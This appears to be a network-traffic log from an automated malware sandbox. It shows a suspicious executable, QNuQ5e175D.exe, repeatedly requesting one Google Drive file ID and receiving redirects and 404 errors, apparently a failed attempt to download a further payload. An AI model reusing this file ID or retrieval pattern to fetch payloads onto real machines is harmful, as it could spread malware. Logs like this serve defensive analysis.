2025-01-11 04:07:00 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:00 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-DEMSaf9hGjN3wvCSHqd9XA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.11	50033	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:00 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:01 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC41sDb8myeUXrsEiau_XSe-HqAGpRpVND6K19KJgQyGsrl7sLHVDgrsXjFeCFpzdRs4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:01 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-uXGAboKZ8zEMWZ9PLcFzyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:01 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 6d 4d 30 4d 33 78 58 5f 31 35 49 31 4d 47 34 63 48 6d 6d 67 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wmM0M3xX_15I1MG4cHmmgg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.11	50034	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:02 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:02 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:02 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-NIlbUPw2lLpebQ4MUKWzzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.11	50035	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:03 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:03 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgToru8h0awP8tiM2VZerbLzFWseOk7Xp5bMiH61jGOOuExvYFa1fswxOUyYIZtSt3X1xr7Rzz4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:03 GMT Content-Security-Policy: script-src 'nonce-SGZ1vJU3G8e20QrjM0lTJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:03 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 70 75 62 4f 45 77 30 33 79 75 77 52 70 64 4c 6c 78 31 5f 4b 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UpubOEw03yuwRpdLlx1_Kw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.11	50036	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:04 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:04 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:04 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-mss5tc9l6Scz7YgPy5zOEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.11	50037	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:05 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:05 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQ2nk-A7of0RxG9ZcrYhDVmQPlq5XwPjucQIcNmHQk9c6ZXVr-1z2N7BJdrgnrZFgLqiQe-0ww Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:05 GMT Content-Security-Policy: script-src 'nonce-l-8onPjgFeRex80tzj8cYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:05 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 5f 76 30 36 57 49 6d 75 41 62 6a 70 47 6b 33 69 6d 50 4a 64 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="w_v06WImuAbjpGk3imPJdA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.11	50038	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:06 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:07 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:06 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-3_WqSIdSnW6Nt6VW4MpnKg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.11	50039	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:07 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:08 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6F1Gqhs39DhXemrL3IGwOBftFnWz0tQcSoD41wiFrlttNK0A2QGt_26RY0rNKsMZmz Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:08 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-Y5FI-lUMHjDm76mBcQGAJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:08 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 77 76 46 55 70 75 7a 78 37 6e 69 38 4c 52 34 38 63 34 2d 6a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZwvFUpuzx7ni8LR48c4-jA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.11	50040	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:08 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
